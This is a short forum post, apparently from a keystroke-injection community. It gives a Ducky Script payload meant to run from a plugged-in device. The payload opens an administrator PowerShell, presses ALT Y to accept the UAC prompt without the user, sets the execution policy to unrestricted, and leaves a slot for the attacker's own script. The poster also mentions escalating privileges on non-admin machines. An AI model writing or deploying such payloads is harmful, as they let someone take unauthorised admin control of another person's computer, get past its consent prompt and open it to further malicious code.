Jump to content

Activate Powershell


Double Negative
 Share

Recommended Posts

I haven't tested this yet, so consider it more pseudo code or a general procedure. This may need some more delays, but you get the picture. Needs an admin computer. If it isn't an admin computer you will need to find a way to escalate privileges.

REM *** Initial Delay *** 
DELAY 2000

REM *** Start Powershell as admin ***
GUI
STRING powershell
MENU

REM *** Select Run as administrator ***
STRING a

REM *** Say yes to UAC ***
DELAY 1500
ALT Y
DELAY 500

REM *** Actually activating the powershell files ***
STRING Set-ExecutionPolicy unrestricted
ENTER
STRING Y
ENTER

REM *** Done, insert your call to a .ps file here. ***


Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...